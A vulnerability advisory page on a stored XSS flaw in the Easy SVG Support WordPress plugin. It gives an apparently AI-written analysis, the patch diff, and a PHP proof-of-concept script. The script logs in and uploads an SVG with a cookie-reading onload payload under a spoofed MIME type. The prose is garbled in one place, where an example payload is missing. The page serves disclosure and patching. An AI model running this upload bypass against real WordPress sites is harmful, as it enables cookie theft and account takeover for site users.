Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12451: Easy SVG Support <= 4.0 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload (easy-svg)

Plugin easy-svg
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 4.0
Patched Version 4.1
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12451:
The Easy SVG Support WordPress plugin, versions up to and including 4.0, contains an authenticated stored cross-site scripting (XSS) vulnerability. This vulnerability exists in the SVG file upload functionality. Attackers with at least Author-level access can upload malicious SVG files containing arbitrary JavaScript. The script executes in the victim’s browser when the SVG file is accessed directly, leading to stored XSS. The CVSS score of 6.1 reflects the need for authenticated access and the impact of script execution in the context of a victim user.

The root cause is insufficient server-side file type validation and a reliance on user-controlled MIME type data. In the vulnerable version 4.0, the `esw_svg_upload_filter_check_init` function (lines 117-130 in easy-svg.php) only checks if the `$upload[‘type’]` equals `’image/svg+xml’`. This `type` value is derived from the client-supplied `Content-Type` header in the upload request, which an attacker can forge. The function then passes the file to `esw_svg_file_checker` for sanitization. However, if an attacker uploads a file with a malicious `.svg` extension but a different, allowed MIME type (like `text/plain`), the plugin’s primary filter does not trigger, bypassing the SVG sanitizer entirely.

Exploitation requires an attacker to have an Author-level WordPress account, granting the `upload_files` capability. The attack vector is the standard media upload interface (`/wp-admin/media-new.php` or the media library uploader). The attacker crafts an HTTP POST request to the WordPress upload handler (`/wp-admin/async-upload.php` or via AJAX) containing a malicious SVG file. The payload is JavaScript embedded within SVG tags, such as “. The attacker sets the HTTP `Content-Type` header for the file part to a non-SVG type like `text/plain`. The file must have a `.svg` extension. Upon successful upload, the malicious file is stored in the `wp-content/uploads` directory. Any user or visitor who browses to the direct URL of the uploaded SVG file will have the embedded script execute in their browser context.

The patch in version 4.1 fundamentally changes the file validation logic. The updated `esw_svg_upload_filter_check_init` function (lines 117-163) no longer trusts the user-provided `$file[‘type’]`. Instead, it uses `wp_check_filetype_and_ext()` to perform server-side detection of the file’s extension and MIME type based on its actual content and filename. The patch introduces three validation paths. First, if the server detects both the `svg` extension and the `image/svg+xml` MIME type, the file is sanitized. Second, if the file has a `.svg` extension but the server-detected MIME type is NOT `image/svg+xml`, the upload is rejected with an error. Third, all other files pass through unchanged. This ensures only genuinely identified SVG files are processed by the sanitizer, closing the MIME type spoofing bypass.

Successful exploitation leads to stored cross-site scripting. An attacker can inject malicious scripts that execute in the context of any user who views the uploaded SVG file. This can result in session hijacking (cookie theft), account takeover, defacement of the site via injected content, or redirection to malicious sites. For WordPress administrators, this could facilitate full site compromise by injecting backdoors or creating new administrative accounts. The stored nature of the payload means a single malicious upload can affect multiple users over time.

Differential between vulnerable and patched code

Code Diff
--- a/easy-svg/easy-svg.php
+++ b/easy-svg/easy-svg.php
@@ -1,16 +1,16 @@
 <?php
 /*
-Plugin Name: Easy SVG Support
-Plugin URI:  https://wordpress.org/plugins/easy-svg/
-Description: Add SVG Support for WordPress.
-Version:     4.0
-Author:      Benjamin Zekavica
+Plugin Name:  Easy SVG Support
+Plugin URI:   https://wordpress.org/plugins/easy-svg/
+Description:  Add SVG support for WordPress.
+Version:      4.1
+Author:       Benjamin Zekavica
+Author URI:   https://www.benjamin-zekavica.de
 Requires PHP: 8.0
 Requires at least: 6.0
-Author URI:  https://www.benjamin-zekavica.de
-Text Domain: easy-svg
-Domain Path: /languages
-License:     GPL3
+Text Domain:  easy-svg
+Domain Path:  /languages
+License:      GPL3

 Easy SVG is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
@@ -25,43 +25,34 @@
 You should have received a copy of the GNU General Public License
 along with Easy SVG. If not, see license.txt .

-Copyright by:
-© 2017 - 2025 by Benjamin Zekavica. All rights reserved.
-
-Imprint:
-Benjamin Zekavica
-
-E-Mail: info@benjamin-zekavica.de
-Web: www.benjamin-zekavica.de
-
-I don't give support by Mail. Please write in the
-community forum for questions and problems.
+© 2017 - 2026 by Benjamin Zekavica. All rights reserved.
 */

-if ( !defined( 'ABSPATH' ) ) exit;  // Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+    exit; // Exit if accessed directly.
+}

-// Helper: Load Composer dependencies
-$composer_package =  __DIR__ .'/vendor/autoload.php';
+// Helper: Load Composer dependencies.
+$composer_package = __DIR__ . '/vendor/autoload.php';

-// Load Composer
-if( file_exists( $composer_package ) ) {
-    require( $composer_package );
+if ( file_exists( $composer_package ) ) {
+    require $composer_package;
 }

-// SVG Sanitizer: Using enshrinedsvgSanitizeSanitizer
+// SVG Sanitizer: Using enshrinedsvgSanitizeSanitizer.
 use enshrinedsvgSanitizeSanitizer;
 $sanitizer = new Sanitizer();

 /**
- * SVG Sanitizer Class
- *
+ * SVG Sanitizer Allowed Tags Class.
+ *
  * Custom class to filter allowed SVG tags using WordPress filters.
  */
 class esw_svg_tags extends enshrinedsvgSanitizedataAllowedTags {

     /**
      * Returns allowed SVG tags.
-     *
+     *
      * @return array
      */
     public static function getTags() {
@@ -70,15 +61,15 @@
 }

 /**
- * SVG Attribute Sanitizer Class
- *
+ * SVG Sanitizer Allowed Attributes Class.
+ *
  * Custom class to filter allowed SVG attributes using WordPress filters.
  */
 class esw_svg_attributes extends enshrinedsvgSanitizedataAllowedAttributes {

     /**
      * Returns allowed SVG attributes.
-     *
+     *
      * @return array
      */
     public static function getAttributes() {
@@ -87,13 +78,12 @@
 }

 /**
- * Function to check and sanitize SVG file content.
- *
+ * Check and sanitize SVG file content.
+ *
  * @param string $file Path to the file.
  * @return bool Returns true if file was sanitized successfully.
  */
-function esw_svg_file_checker( $file ){
-
+function esw_svg_file_checker( $file ) {
     global $sanitizer;

     $sanitizer->setAllowedTags( new esw_svg_tags() );
@@ -101,169 +91,245 @@

     $unclean = file_get_contents( $file );

-    if ( $unclean === false ) {
+    if ( false === $unclean ) {
         return false;
     }

     $clean = $sanitizer->sanitize( $unclean );
-    if ( $clean === false ) {
+
+    if ( false === $clean ) {
         return false;
     }

-    // Save cleaned file
+    // Save cleaned file.
     file_put_contents( $file, $clean );

     return true;
 }

 /**
- * Filters and sanitizes uploaded SVG files.
- *
- * @param array $upload Array containing file details.
- * @return array Modified upload array or error message if invalid.
+ * Filter and sanitize uploaded SVG files using trusted file detection.
+ *
+ * This function does NOT rely on the user-controlled MIME header.
+ * It uses wp_check_filetype_and_ext() and the file extension to reliably
+ * detect SVG uploads and sanitize them. Inconsistent SVG uploads are rejected.
+ *
+ * @param array $file Array containing file details before upload.
+ * @return array Modified file array or error message if invalid.
  */
-function esw_svg_upload_filter_check_init( $upload ){
+function esw_svg_upload_filter_check_init( $file ) {
+
+    // Bail if required keys are missing.
+    if ( empty( $file['tmp_name'] ) || empty( $file['name'] ) ) {
+        return $file;
+    }
+
+    // Server-side detection of extension and mime type.
+    $checked = wp_check_filetype_and_ext(
+        $file['tmp_name'],
+        $file['name'],
+        get_allowed_mime_types()
+    );

-    if ( $upload['type'] === 'image/svg+xml' ) {
-        if ( ! esw_svg_file_checker( $upload['tmp_name'] ) ) {
-            $upload['error'] = __( "Sorry, please check your file", 'easy-svg' );
+    $ext  = isset( $checked['ext'] )  ? $checked['ext']  : '';
+    $type = isset( $checked['type'] ) ? $checked['type'] : '';
+
+    // Fallback: check extension using pathinfo.
+    $pathinfo_ext = strtolower( pathinfo( $file['name'], PATHINFO_EXTENSION ) );
+
+    // Case 1: Genuine SVG (extension and mime type both match).
+    if ( 'svg' === $ext && 'image/svg+xml' === $type ) {
+
+        // Normalize mime type.
+        $file['type'] = 'image/svg+xml';
+
+        // Sanitize SVG content before it is stored.
+        if ( ! esw_svg_file_checker( $file['tmp_name'] ) ) {
+            $file['error'] = __( 'Sorry, please check your SVG file.', 'easy-svg' );
         }
+
+        return $file;
     }

-    return $upload;
+    // Case 2: File has .svg extension but mime type is not a valid SVG mime type -> reject.
+    if ( 'svg' === $pathinfo_ext && 'image/svg+xml' !== $type ) {
+        $file['error'] = __( 'Sorry, this SVG file is not allowed for security reasons.', 'easy-svg' );
+        return $file;
+    }
+
+    // All other files pass through unchanged.
+    return $file;
 }
 add_filter( 'wp_handle_upload_prefilter', 'esw_svg_upload_filter_check_init' );

 /**
  * Add support for SVG file uploads by modifying MIME types.
- *
- * @param array $svg_editing File type associations.
+ *
+ * @param array $mimes File type associations.
  * @return array Modified MIME types with SVG support.
  */
-if( !function_exists('esw_add_support') ){
-    function esw_add_support ( $svg_editing ){
-
-        $svg_editing['svg'] = 'image/svg+xml';
-        return $svg_editing;
+if ( ! function_exists( 'esw_add_support' ) ) {
+    function esw_add_support( $mimes ) {
+        $mimes['svg'] = 'image/svg+xml';
+        return $mimes;
     }
     add_filter( 'upload_mimes', 'esw_add_support' );
 }

 /**
- * Validate uploaded SVG files and ensure proper file extension and MIME type.
- *
- * @param array $checked File check results.
- * @param string $file Path to the uploaded file.
+ * Validate uploaded image files and ensure proper file extension and MIME type.
+ *
+ * @param array  $checked  File check results.
+ * @param string $file     Path to the uploaded file.
  * @param string $filename The file name.
- * @param array $mimes Allowed MIME types.
+ * @param array  $mimes    Allowed MIME types.
  * @return array Checked results including extension, type, and filename.
  */
-if( !function_exists('esw_upload_check') ){
+if ( ! function_exists( 'esw_upload_check' ) ) {

-    function esw_upload_check($checked, $file, $filename, $mimes){
+    function esw_upload_check( $checked, $file, $filename, $mimes ) {

-        if(!$checked['type']){
+        if ( empty( $checked['type'] ) ) {
             $esw_upload_check = wp_check_filetype( $filename, $mimes );
             $ext              = $esw_upload_check['ext'];
             $type             = $esw_upload_check['type'];
             $proper_filename  = $filename;

-            if($type && 0 === strpos($type, 'image/') && $ext !== 'svg'){
-               $ext = $type = false;
+            // Only allow valid image types and avoid mismatched image extensions.
+            if ( $type && 0 === strpos( $type, 'image/' ) && 'svg' !== $ext ) {
+                $ext  = false;
+                $type = false;
             }

-            $checked = compact('ext','type','proper_filename');
+            $checked = compact( 'ext', 'type', 'proper_filename' );
         }

         return $checked;
     }
-    add_filter('wp_check_filetype_and_ext', 'esw_upload_check', 10, 4);
-}
-
-/**
- * Load plugin text domain for localization.
- */
-if( !function_exists( 'esw_multiligual_textdomain' ) ) {
-    function esw_multiligual_textdomain() {
-        load_plugin_textdomain( 'easy-svg' , false, dirname( plugin_basename( __FILE__ ) ).'/languages' );
-    }
-    add_action( 'plugins_loaded', 'esw_multiligual_textdomain' );
+    add_filter( 'wp_check_filetype_and_ext', 'esw_upload_check', 10, 4 );
 }

 /**
  * Get SVG file URL in the backend via AJAX.
+ *
+ * Expected request parameters:
+ * - nonce        (generated via wp_create_nonce( 'esw_svg_nonce' ))
+ * - attachmentID (integer ID of the attachment)
+ *
+ * The hook name remains for backward compatibility with existing JS.
  */
-if( !function_exists( 'esw_display_svg_files_backend' ) ) {
-
-    function esw_display_svg_files_backend(){
+if ( ! function_exists( 'esw_display_svg_files_backend' ) ) {
+
+    function esw_display_svg_files_backend() {
+
+        // Capability check: only allow users who can upload files.
+        if ( ! current_user_can( 'upload_files' ) ) {
+            wp_send_json_error(
+                array(
+                    'message' => __( 'You are not allowed to access this resource.', 'easy-svg' ),
+                ),
+                403
+            );
+        }
+
+        // Nonce verification: expects "nonce" field in the request.
+        check_ajax_referer( 'esw_svg_nonce', 'nonce' );
+
+        // Use POST for AJAX requests.
+        $attachment_id = isset( $_POST['attachmentID'] ) ? absint( $_POST['attachmentID'] ) : 0;

-        $url = '';
-        $attachmentID = isset($_REQUEST['attachmentID']) ? $_REQUEST['attachmentID'] : '';
+        if ( ! $attachment_id ) {
+            wp_send_json_error(
+                array(
+                    'message' => __( 'Invalid attachment ID.', 'easy-svg' ),
+                )
+            );
+        }
+
+        $url = wp_get_attachment_url( $attachment_id );

-        if($attachmentID){
-            $url = wp_get_attachment_url($attachmentID);
+        if ( ! $url ) {
+            wp_send_json_error(
+                array(
+                    'message' => __( 'Attachment not found.', 'easy-svg' ),
+                )
+            );
         }
-        echo $url;
-
-        die();
+
+        wp_send_json_success(
+            array(
+                'url' => esc_url_raw( $url ),
+            )
+        );
     }
-    add_action('wp_AJAX_svg_get_attachment_url', 'esw_display_svg_files_backend');
+
+    // Note: Non-standard hook name kept for backwards compatibility.
+    add_action( 'wp_AJAX_svg_get_attachment_url', 'esw_display_svg_files_backend' );
 }

 /**
  * Display SVG files properly in the media library.
- *
- * @param array $response File response array.
+ *
+ * @param array  $response   File response array.
  * @param object $attachment Attachment object.
- * @param array $meta File metadata.
+ * @param array  $meta       File metadata.
  * @return array Modified response with SVG dimensions.
  */
-if( !function_exists( 'esw_display_svg_media' ) ) {
-
-    function esw_display_svg_media($response, $attachment, $meta){
-        if($response['type'] === 'image' && $response['subtype'] === 'svg+xml' && class_exists('SimpleXMLElement')){
+if ( ! function_exists( 'esw_display_svg_media' ) ) {
+
+    function esw_display_svg_media( $response, $attachment, $meta ) {
+
+        if (
+            isset( $response['type'], $response['subtype'] ) &&
+            'image' === $response['type'] &&
+            'svg+xml' === $response['subtype'] &&
+            class_exists( 'SimpleXMLElement' )
+        ) {
             try {
-                $path = get_attached_file($attachment->ID);
-                if(@file_exists($path)){
-                    $svg = new SimpleXMLElement(@file_get_contents($path));
-                    $src = $response['url'];
-                    $width = (int) $svg['width'];
+                $path = get_attached_file( $attachment->ID );
+                if ( file_exists( $path ) ) {
+                    $svg    = new SimpleXMLElement( file_get_contents( $path ) );
+                    $src    = $response['url'];
+                    $width  = (int) $svg['width'];
                     $height = (int) $svg['height'];
+
                     $response['image'] = compact( 'src', 'width', 'height' );
                     $response['thumb'] = compact( 'src', 'width', 'height' );

                     $response['sizes']['full'] = array(
-                        'height' => $height,
-                        'width'  => $width,
-                        'url'    => $src,
-                        'orientation' => $height > $width ? 'portrait' : 'landscape',
+                        'height'      => $height,
+                        'width'       => $width,
+                        'url'         => $src,
+                        'orientation' => ( $height > $width ) ? 'portrait' : 'landscape',
                     );
                 }
-            } catch(Exception $e) {}
+            } catch ( Exception $e ) {
+                // Fail silently, keep default response if SVG parsing fails.
+            }
         }

         return $response;
     }
-    add_filter('wp_prepare_attachment_for_js', 'esw_display_svg_media', 10, 3);
+    add_filter( 'wp_prepare_attachment_for_js', 'esw_display_svg_media', 10, 3 );
 }

 /**
  * Add styles for SVG files in the media library and Gutenberg editor.
  */
-if( !function_exists( 'esw_svg_styles' ) ) {
+if ( ! function_exists( 'esw_svg_styles' ) ) {
     function esw_svg_styles() {
         echo "<style>
                 /* Media Library SVG styles */
-                table.media .column-title .media-icon img[src*='.svg']{
+                table.media .column-title .media-icon img[src*='.svg'] {
                     width: 100%;
                     height: auto;
                 }
-
+
                 /* Gutenberg editor SVG styles */
                 .components-responsive-wrapper__content[src*='.svg'] {
                     position: relative;
                 }
             </style>";
     }
-    add_action('admin_head', 'esw_svg_styles');
+    add_action( 'admin_head', 'esw_svg_styles' );
 }
 No newline at end of file
--- a/easy-svg/vendor/composer/installed.php
+++ b/easy-svg/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'benjaminzekavica/easy-svg',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'f2477c7744d8c44c69f347357b146b9adcc4dca7',
+        'reference' => 'c40510e4d885d61adb9ddc0f55cdad27e9be74eb',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'benjaminzekavica/easy-svg' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'f2477c7744d8c44c69f347357b146b9adcc4dca7',
+            'reference' => 'c40510e4d885d61adb9ddc0f55cdad27e9be74eb',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12451 - Easy SVG Support <= 4.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload

<?php

$target_url = 'https://example.com/wp-admin/async-upload.php';
$username = 'author_user';
$password = 'author_pass';

// Malicious SVG payload - executes JavaScript when loaded.
$svg_payload = '<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100" onload="alert(document.cookie)">
  <rect width="100" height="100" fill="red" />
  <text x="20" y="40" fill="white">XSS</text>
</svg>';

// Create a temporary file for the malicious SVG.
$temp_file = tempnam(sys_get_temp_dir(), 'svg_');
file_put_contents($temp_file, $svg_payload);

// Initialize cURL session for login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('async-upload.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save cookies to file.
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Check if login was successful by looking for a dashboard redirect or absence of login form.
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'loginform') !== false) {
    die('Login failed. Check credentials.');
}

// Prepare the multipart file upload. The key is to set the MIME type to something other than image/svg+xml.
$post_data = array(
    'name' => 'exploit.svg',
    'action' => 'upload-attachment',
    '_wpnonce' => '', // This would need to be fetched from the media page in a full exploit.
    'async-upload' => new CURLFile($temp_file, 'text/plain', 'exploit.svg') // Spoofed MIME type.
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$upload_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up temp file.
unlink($temp_file);

// Parse the JSON response from WordPress to get the URL of the uploaded file.
$response_data = json_decode($upload_response, true);
if ($http_code == 200 && isset($response_data['url'])) {
    echo "Exploit SVG uploaded successfully.n";
    echo "Access the file at: " . $response_data['url'] . "n";
    echo "When a user visits this URL, the JavaScript payload will execute.n";
} else {
    echo "Upload failed. HTTP Code: $http_coden";
    echo "Response: $upload_responsen";
    echo "Note: A valid _wpnonce is required for a complete exploit. This PoC demonstrates the MIME bypass.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School